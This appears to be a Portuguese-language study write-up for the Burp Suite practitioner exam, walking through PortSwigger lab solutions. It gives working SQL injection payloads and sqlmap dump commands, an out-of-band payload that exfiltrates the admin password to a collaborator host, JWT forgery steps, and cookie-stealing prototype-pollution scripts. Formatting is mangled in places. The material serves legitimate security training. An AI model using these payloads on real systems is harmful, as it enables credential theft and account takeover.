Este é o tipo de vulnerabilidade que não requer que um usuário ativo no aplicativo interaja com o exploit, e sem que nenhum usuário clique em link ou interaja. Tome nota das vulnerabilidades que não exigem usuário ativo no aplicativo para o exame BSCP, pois isso significa que na próxima etapa do exame é possível usar, por exemplo, outros links interativos de phishing enviados à vítima.
Identifique no
código-fonteda página/forgot-passwordque o nome de usuário é um campo oculto.

Explore a requisição POST excluindo o parâmetro
temp-forgot-password-tokentanto na URL quanto no corpo da requisição. Altere o parâmetro username paracarlos.

Laboratório PortSwigger: Lógica quebrada de redefinição de senha
Identifique que a alteração de senha não precisa do parâmetro
current-passwordpara definir uma nova senha, e o usuário cuja senha será alterada é determinado pelo parâmetro POSTusername=administrator
Nos laboratórios PortSwigger, eles fornecem as credenciais parawiener:peter, e isso simula o estágio 1 do exame, onde se alcança acesso de usuário de baixo nível. No exame, essa vulnerabilidade de redefinição de senha é um exemplo de como é possível, sem interação de um usuário ativo, escalar privilégios até o acesso de administrador.
Intercepte a requisição
/my-account/change-passwordcomo o tokencsrfé um valor único de uso aleatório, definausername=administratore remova o parâmetrocurrent-password.

Laboratório PortSwigger: Isolamento fraco em endpoint de duplo uso
O site alvo usa carimbos de data/hora para gerar um hash do URL do token de redefinição de senha.
Ao enviar requisições paralelas forçadas de redefinição de senha para dois usuários diferentes ao mesmo tempo,
resultará em tokens idênticos duplicados porque o mesmo carimbo de data/hora é usado pelo backend para gerar os tokenz de redefinição.
Nosso próprio usuário
carlosrecebe o URL do token de redefinição em seu e-mail e então edita o nome no URL para corresponder ao usuário vítimaadministrator.

Laboratório PortSwigger: Explorando vulnerabilidades sensíveis ao tempo
Referência: notas de estudo da API University e PortSwigger Labs
Atraso de Tempo Cego
SQLi Cego
SQLi Cego sem indicação
SQLi Cego com Resposta Condicional
Oracle
SQLMAP
SQLi Manual Não-Oracle
SQLi Baseado em Erro Visual
Fundamentos de SQLi do HackTheBox CPTS
Vulnerabilidades de injeção de SQL baseadas em erro ou cegas permitem que consultas SQL em um aplicativo sejam usadas para extrair dados ou credenciais de login do banco de dados. O SQLMAP é usado para acelerar o exploit e recuperar as informações sensíveis.
Identifique o SQLi adicionando aspas duplas (") ou aspas simples (') aos parâmetros web ou cookies de rastreamento. Se isso quebrar a sintaxe SQL, resultando em resposta com mensagem de erro, então uma injeção de SQL positiva foi identificada. Se nenhum erro ou mensagem condicional for observado, teste payloads cegos de Atrasos de Tempo.
Exemplos de cheat sheet de injeção SQL

A injeção cega de SQL com atrasos de tempo é complicada de identificar; o fuzzing envolve adivinhação fundamentada, como o OffSec também me ensinou no OSCP. O payload abaixo realizará um caso condicional para atrasar a resposta em 10 segundos se uma injeção de SQL positiva for identificada.
Identifique a vulnerabilidade de SQLi. No Exame prático do Burp, Estágio 2, os filtros de busca avançada são vulneráveis a
PostgreSQL. Achei oSQLMAPcomplicado para identificar e explorar a vulnerabilidade do exame prático na busca avançada. Exploração manual do atraso de tempo da injeção de SQL em Exame prático aqui.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[Codificado em URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
Determine quantos caracteres tem a senha do usuário administrador. Para isso, incremente o número após a verificação condicional
>1.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

>Usando o ataque CLUSTER Bomb para reexecutar o ataque para cada permutação das posições dos caracteres na senha e determinar o valor do caractere.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Usando o tipo de ataque CLUSTER bomb com dois payloads, primeiro para o comprimento da senha
1..20e depois usando caracteresa..ze números0..9. Adicione a coluna Response Received aos resultados do ataque do Intruder para ordenar por ela e observe o atraso de10segundos ou mais como resposta positiva.

Laboratório PortSwigger: Injeção SQL cega com atrasos de tempo e recuperação de informações
No estágio 2 do exame prático do Burp, a injeção SQL é escapada não usando aspas simples
', mas usando um ponto e vírgula;e então codificando-o em URL como%3B.```SQL %3BSELECT+pg_sleep(7)--

>Com um ataque Intruder CLUSTER bomb, a senha pode ser extraída em um único ataque com duas posições de payload no payload abaixo.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
O Estágio 3 do portal administrativo do exame prático do Burp exige a exploração de um valor de cookie com desserialização insegura.
O alvo é vulnerável a exfiltração de dados fora da banda usando consulta de exploração de SQL cego. Neste caso, o cookie trackingID. Abaixo está a combinação de payload de injeção de SQL e XXE para explorar a vulnerabilidade e enviar a senha do administrador como requisição DNS para o serviço colaborador.```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

[PortSwigger Lab: Injeção SQL cega com exfiltração de dados fora de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>O payload SQL acima também pode ser usado para extrair a senha do Administrador para o desafio [PortSwigger Lab: Injeção SQL cega com erros condicionais](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).
### Injeção SQL cega sem indicação
>Colocar uma aspa simples no final do cookie ```trackingid``` ou do parâmetro de pesquisa `/search_advanced?searchTerm='` pode retornar a resposta `500 Internal Server Error`. Faça uma suposição fundamentada: usando o payload de injeção SQL cega abaixo e combinando com a técnica básica de XXE, isso faz uma chamada ao servidor de colaboração, mas nenhum dado é exfiltrado.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

Payload SQLi adicional com XML para referência com
||o operador de concatenação SQL para concatenar duas expressões que avaliam dois tipos de dados de caractere ou para tipo de dados numérico e fazer alguma ofuscação.``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - Teste de Segurança de Aplicações Fora de Banda](https://portswigger.net/burp/application-security-testing/oast)
[Laboratório PortSwigger: Injeção de SQL cega com interação fora de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### Resposta Condicional de SQLi Cego
>Esta injeção SQL cega é ***identificada*** por uma pequena diferença de mensagem nas respostas. Ao enviar uma consulta SQL verdadeira válida, a resposta contém a string ```Welcome back``` na resposta. Instruções de consulta SQL falsas inválidas não contêm a mensagem condicional na resposta.```
' AND '1'='1
Declaração SQL falsa para identificar mensagem condicional não presente na resposta.``` ' AND '1'='2
>Determine quantos caracteres há na senha do usuário administrador. Para fazer isso, altere o valor da instrução SQL para and na **aba Configurações** do intruder, na seção "Grep - Match". Limpe todas as entradas existentes na lista e adicione o valor ```Welcome back``` à condição ***identificar*** verdadeira.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
O próximo passo é testar o caractere em cada posição para determinar seu valor. Isso envolve um número muito maior de solicitações.``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

>Alternativamente, use um ataque **CLUSTER Bomb** e defina **duas** posições de payload, a primeira para a posição do caractere com um payload de números ```1..20``` e a segunda posição, usando caracteres alfanuméricos; isso iterará por cada permutação das combinações de payload.

[PortSwigger Lab: Injeção SQL cega com respostas condicionais](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Oracle
>Identificou a injeção SQL adicionando uma **aspa simples** ao final do valor do parâmetro `category` e observando a resposta de `500 Internal Server Error`.
>Recupere a lista de tabelas no banco de dados Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Payload do Oracle para recuperar os detalhes das colunas na tabela.``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--
>Payload Oracle para recuperar os nomes de usuário e senhas da tabela Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--
Laboratório PortSwigger: ataque de injeção de SQL, listando o conteúdo do banco de dados no Oracle
No APP do Exame Prático PortSwigger identificamos SQLi na função de pesquisa avançada adicionando uma aspa simples e a resposta resulta em
HTTP/2 500 Internal Server Error.
Aqui estão minhas notas de estudo do HackTheBox CPTS sobre exemplos de SQLMAP para contornar mecanismos primitivos de proteção WAF. SQLMAP Essentials - Cases
Depois de fazer alguns testes com as versões
1.7.2#stablee1.6do SQLMAP, descobri que ambas conseguem explorar o exame prático do PortSwigger. Passo a passo do bmdyy fazendo o Exame Prático usando SQLMAP como referência dos parâmetros utilizados.
Tópico do fórum PortSwigger - SQLMAP
Fiz o exame prático e consegui explorar o SQLi usando o payload abaixo.``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

>Este também é um bom começo com o SQLMAP para ***identificar*** e extrair dados de uma injeção SQL sensível baseada em erro e atraso de tempo nos filtros de pesquisa avançada na prova.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

SQLMAP DBS para obter bancos de dados.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs
>Use SQLMAP para extrair as tabelas identificadas do banco de dados `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables
ContinueUse a técnica
Edo SQLMAP para obter o conteúdo deusers.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump
### SQLi Manual Não-Oracle
>Ataque de injeção SQL UNION, determinando o **número de colunas** retornado pela consulta.```SQL
'+UNION+SELECT+NULL,NULL--
Determinado que há duas colunas retornadas. Encontrando uma coluna contendo
text, para ser usada para refletir informações extraídas.```SQL '+UNION+SELECT+'fuzzer',NULL--
Em seguida, ***identificando*** uma lista de **tabelas** no banco de dados.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
OPCIONAL: Recupere dados de outras tabelas, use o código abaixo como payload para recuperar o conteúdo da tabela
users.```SQL '+UNION+SELECT+username,+password+FROM+users--
>Recupere os nomes das **colunas** na tabela ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--
O passo final é extrair os dados das colunas de username e passwords.```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--
>**EXTRA:** Se você tiver apenas uma coluna para extrair dados de texto, concatene vários valores em um único campo de saída refletido usando a sintaxe SQL ```||``` caracteres do banco de dados.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Adicionando uma aspa simples ao final do valor do cookie
TrackingId, podemos identificar e confirmar a injeção de SQL com base na mensagem na resposta.

Os dois payloads validam que o registro do administrador é o primeiro registro e, em seguida, recuperam a senha da conta Administrator da tabela
userno banco de dados, a partir das colunasusernameepassword.``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
>Devido ao limite de comprimento do valor do cookie, o payload é encurtado usando `limit 1`, e o valor real do cookie é substituído apenas pela letra `x`. A injeção de SQL usou a [função CAST](https://portswigger.net/web-security/sql-injection/blind).

[PortSwigger Lab: Injeção de SQL visível baseada em erros](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)
-----
## JWT
[JWT bypass via JWK](#manual-sqli)
[JWT Weak secret](#jwt-weak-secret)
[JWT kid header](#jwt-kid-header)
[JWT arbitrary jku header](#jwt-arbitrary-jku-header)
>Os JSON web tokens (JWTs) são usados para enviar dados JSON assinados criptograficamente, e mais comumente usados para enviar informações ("claims") sobre usuários como parte de autenticação, gerenciamento de sessão e controle de acesso.
### JWT bypass via JWK
>O scanner do Burp ***identifica*** a vulnerabilidade no servidor como **JWT com cabeçalho JWK autoassinado suportado**. É possível explorá-la através de uma verificação falha da origem da chave fornecida.
>**jwk (JSON Web Key)** - Fornece um objeto JSON incorporado que representa a chave.
>Etapas de exploração de bypass de autenticação via injeção de cabeçalho jwk:
1. Nova chave RSA
2. No payload JWT da requisição, altere o valor da **claim sub** para administrator
3. Selecione Attack e, em seguida, selecione **Embedded JWK** com a chave RSA recém-gerada
4. Observe que um parâmetro ```jwk``` agora contém nossa chave pública; enviar a requisição resulta em acesso ao portal de administrador

[PortSwigger Lab: Bypass de autenticação JWT via injeção de cabeçalho jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
### JWT Weak secret
>Forçar a chave fraca de assinatura JWT usando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
O resultado do Hashcat fornece o segredo, a ser usado para gerar uma chave de assinatura forjada.
Bypass de autenticação JWT da PortSwigger via chave de assinatura fraca
Mecanismo baseado em JWT para gerenciamento de sessões. Para verificar a assinatura, o servidor usa o parâmetro
kidno cabeçalho do JWT para buscar a chave relevante no seu sistema de arquivos.
Gere uma nova Chave Simétrica e substitua a propriedadekpelo byte nulo em base64AA==, a ser usado ao assinar o JWT.
kid (ID da Chave) - Fornece um ID que os servidores podem usar para identificar a chave correta em casos em que há múltiplas chaves para escolher.
JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }
>Payload```
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}

Laboratório PortSwigger: bypass de autenticação JWT via path traversal do cabeçalho kid
O scanner Burp identificou uma vulnerabilidade afirmando que o aplicativo parece confiar no cabeçalho
jkudo JWT encontrado no ponto de inserção manual. Ele buscou uma chave pública de uma URL arbitrária fornecida nesse cabeçalho e tentou usá-la para verificar a assinatura.
jku (JSON Web Key Set URL) - Fornece uma URL a partir da qual os servidores podem buscar chaves que contêm a chave correta.
Etapas de exploração para enviar um JWK Set malicioso e depois modificar e assinar o JWT:
{ "keys": [ ] }.[ paste ].kid do cabeçalho JWT da requisição /admin.jku para o valor da URL do servidor de exploração https://exploit-server.net/exploit.sub no payload do JWT para administrator./admin em repeat, na parte inferior da aba JSON Web Token, clique em Sign.RSA signing key que foi gerada nas etapas anteriores.
O servidor de exploração que hospeda o conteúdo da chave pública JWK.```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}

[PortSwigger Lab: bypass de autenticação JWT via injeção de cabeçalho jku](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
-----
## Poluição de Protótipo
>O atacante adiciona propriedades arbitrárias aos protótipos globais de objetos JavaScript, que são herdadas por objetos definidos pelo usuário e que levam a XSS de DOM no lado do cliente ou à execução de código no lado do servidor.
[Protótipo no Lado do Cliente](#client-side-proto)
[Protótipo no Lado do Servidor](#server-side-proto)
[Habilitar a Poluição de Protótipo no Dom Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)
### Protótipo no Lado do Cliente
>Um alvo é vulnerável a XSS de DOM via poluição de protótipo no lado do cliente. **[DOM Invader](#dom-invader)** irá ***identificar*** o gadget e, usando um payload hospedado, realizar phishing direcionado à vítima e roubar o cookie dela.
>Na seção Body do servidor de exploit, hospede um exploit que direcione a vítima para uma URL maliciosa.```html
<script>
location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

A imagem acima mostra o pedido de phishing Deliver to Victim sendo enviado.
Laboratório PortSwigger: poluição de protótipo no lado do cliente em bibliotecas de terceiros

Para identificar a poluição de protótipo, insira o seguinte em uma solicitação POST JSON ao atualizar as informações de perfil do usuário autenticado com uma função de baixo privilégio.
Veja o vídeo de instrução de Trevor TJCHacking sobre PrivEsc via poluição de protótipo no lado do servidor.```JSON "proto": { "foo":"bar" }

>Observe a propriedade ```isAdmin``` e reenvie o POST de atualização de conta com o payload ```__proto__``` abaixo para elevar nosso papel de acesso para Administrator.```JSON
"__proto__": {
"isAdmin":true
}
PortSwigger Lab: Escalação de privilégio via poluição de protótipo no lado do servidor
Explorando uma atribuição em massa
Poluição de parâmetro na redefinição de senha da API
A API executa uma solicitação GET e logo em seguida uma solicitação POST; na solicitação POST, observe parâmetros JSON adicionais no corpo da resposta, que indicam campos de parâmetros ocultos. Adicionar campos ocultos como
{"admin":true}pode elevar o acesso a usuários com privilégios maiores ou obter informações confidenciais sobre o usuário.
No exercício de laboratório abaixo, o site de comércio eletrônico tem um parâmetro de desconto e adicioná-lo com valor 100 permite que o produto seja gratuito na finalização da compra.

Escalação de privilégio usando parâmetros ocultos de endpoints de API em solicitações com os verbos HTTP POST ou PATCH.```json { "username": "carlos", "email": "[email protected]", "isAdminLevel": true }
[PortSwigger Lab: Explorando uma vulnerabilidade de atribuição em massa](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability)
### Poluição de Parâmetros na API de Redefinição de Senha
>Observe que a função da API de redefinição de senha usa o parâmetro no corpo do POST para o nome de usuário. Para ***identificar*** parâmetros ocultos adicionais para a função da API, insira um parâmetro aleatório ```&x=y``` para observar a mensagem de erro vazando informações de resultado positivo.